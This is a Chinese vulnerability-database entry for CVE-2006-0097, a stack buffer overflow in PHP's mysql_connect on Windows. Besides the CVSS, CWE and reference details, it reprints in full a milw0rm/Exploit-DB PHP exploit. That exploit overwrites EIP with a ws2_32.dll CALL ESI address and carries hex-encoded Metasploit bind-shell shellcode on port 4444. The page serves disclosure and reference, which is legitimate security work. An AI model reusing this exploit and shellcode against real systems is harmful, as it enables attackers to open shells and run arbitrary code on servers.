CVE-2006-0097
CVSS7.5
发布时间 :2006-01-06 06:03:00
修订时间 :2011-08-01 00:00:00
NMCOE    

[原文]Stack-based buffer overflow in the create_named_pipe function in libmysql.c in PHP 4.3.10 and 4.4.x before 4.4.3 for Windows allows attackers to execute arbitrary code via a long (1) arg_host or (2) arg_unix_socket argument, as demonstrated by a long named pipe variable in the host argument to the mysql_connect function.


[CNNVD]PHP MySQL_Connect远程溢出漏洞(CNNVD-200601-045)

        PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。
        PHP中存在远程溢出漏洞,攻击者可以利用这个漏洞在受影响的Web Server上执行任意代码。失败的攻击尝试也可能导致Web Server崩溃。请注意通常情况下远程攻击者是无法修改访问mysql_connect函数的参数的,因此可限制攻击的可能性。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-119 [内存缓冲区边界内操作的限制不恰当]

- CPE (受影响的平台与产品)

cpe:/a:php:php:4.4.2PHP PHP 4.4.2
cpe:/a:php:php:4.4.0PHP PHP 4.4.0
cpe:/a:php:php:4.4.1PHP PHP 4.4.1
cpe:/a:php:php:4.3.10PHP PHP 4.3.10

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0097
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-0097
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200601-045
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2006/0046
(VENDOR_ADVISORY)  VUPEN  ADV-2006-0046
http://www.securityfocus.com/bid/16145
(UNKNOWN)  BID  16145
http://www.securityfocus.com/archive/1/archive/1/420986/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060105 Windows PHP 4.x
http://www.php.net/ChangeLog-4.php#4.4.3
(UNKNOWN)  CONFIRM  http://www.php.net/ChangeLog-4.php#4.4.3
http://www.osvdb.org/22232
(UNKNOWN)  OSVDB  22232
http://secunia.com/advisories/18275
(VENDOR_ADVISORY)  SECUNIA  18275
http://lists.grok.org.uk/pipermail/full-disclosure/2006-January/041013.html
(VENDOR_ADVISORY)  FULLDISC  20060105 Windows PHP 4.x
http://archives.neohapsis.com/archives/fulldisclosure/2006-01/0274.html
(UNKNOWN)  FULLDISC  20060108 RE: Windows PHP 4.x

- 漏洞信息

PHP MySQL_Connect远程溢出漏洞
高危 缓冲区溢出
2006-01-06 00:00:00 2006-08-10 00:00:00
远程  
        PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。
        PHP中存在远程溢出漏洞,攻击者可以利用这个漏洞在受影响的Web Server上执行任意代码。失败的攻击尝试也可能导致Web Server崩溃。请注意通常情况下远程攻击者是无法修改访问mysql_connect函数的参数的,因此可限制攻击的可能性。

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        http://www.php.net

- 漏洞信息 (1406)

PHP <= 4.4.0 (mysql_connect function) Local Buffer Overflow Exploit (EDBID:1406)
windows local
2006-01-05 Verified
0 mercenary
N/A [点击下载]
<?php

/*
This exploit was designed to work with PHP versions 4.3.10 and
4.4.0 under Windows XP SP 1. If another operating system is used,
the replacement EIP must be changed.

The replacement EIP is written 261 bytes into our string. For this
exploit, I used a CALL ESI from ws2_32.dll from Windows XP SP1.

The replacement ESI is simply the base of the PHP image. Locations
after this address will be overwritten with some internal data.

Our shellcode is written into the $user variable. $two is used to
prevent $user from being truncated with a MySQL error message.

Cut from advisory (untested) /str0ke
*/

//Exploit for
//	Apache/1.3.33
//	PHP/4.4.0
//Windows only

$eip = "71AB5651";  //EIP - CALL ESI from Winsock 2.0 ws2_32.dll v5.1.2600.0
$esi = "10000000";  //ESI - Temporary. The memory under this location will be trashed.

//Metasploit win32 bind shell on port 4444
//Thread exit method, no filter
$shellcode = pack("H*","fc6aeb4de8f9ffffff608b6c24248b453c8b7c057801ef8b4f188b5f2001eb498b348b01ee31c099ac84c07407c1ca0d01c2ebf43b54242875e58b5f2401eb668b0c4b8b5f1c01eb032c8b896c241c61c331db648b43308b400c8b701cad8b40085e688e4e0eec50ffd6665366683332687773325f54ffd068cbedfc3b50ffd65f89e56681ed0802556a02ffd068d909f5ad57ffd6535353535343534353ffd06668115c665389e19568a41a70c757ffd66a105155ffd068a4ad2ee957ffd65355ffd068e549864957ffd650545455ffd09368e779c67957ffd655ffd0666a646668636d89e56a505929cc89e76a4489e231c0f3aafe422dfe422c938d7a38ababab6872feb316ff7544ffd65b57525151516a0151515551ffd068add905ce53ffd66affff37ffd08b57fc83c464ffd652ffd068efcee06053ffd6ffd0");

//Endian conversion
$eip = substr($eip, 6, 2) . substr($eip, 4, 2) . substr($eip, 2, 2) . substr($eip, 0, 2);
$esi = substr($esi, 6, 2) . substr($esi, 4, 2) . substr($esi, 2, 2) . substr($esi, 0, 2);

$overflowstring = "localhost:/";
$overflowstring .= "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
$overflowstring .= pack("H*",$eip);	//EIP
$overflowstring .= pack("H*",$esi);	//ESI
$overflowstring .= "/";

//If we don't define this, our shellcode gets truncated
$two = "AAAAAAAAAA";

mysql_connect($overflowstring, $shellcode);

?>

# milw0rm.com [2006-01-05]
		

- 漏洞信息

22232
PHP Pipe Variable mysql_connect() Function Overflow
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

An overflow exists in the 'mysql_connect' function of PHP. The function fails to validate the 'pipe' parameter, resulting in a stack overflow. With a specially crafted request, an attacker can cause arbitrary code execution, resulting in a loss of integrity.

- 时间线

2006-01-04 Unknow
2006-01-04 Unknow

- 解决方案

Currently, there are no known upgrades or patches to correct this issue. It is possible to correct the flaw by implementing the following workaround(s): ensure that the mysql_connect() is only called with sanitised and trusted parameters.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站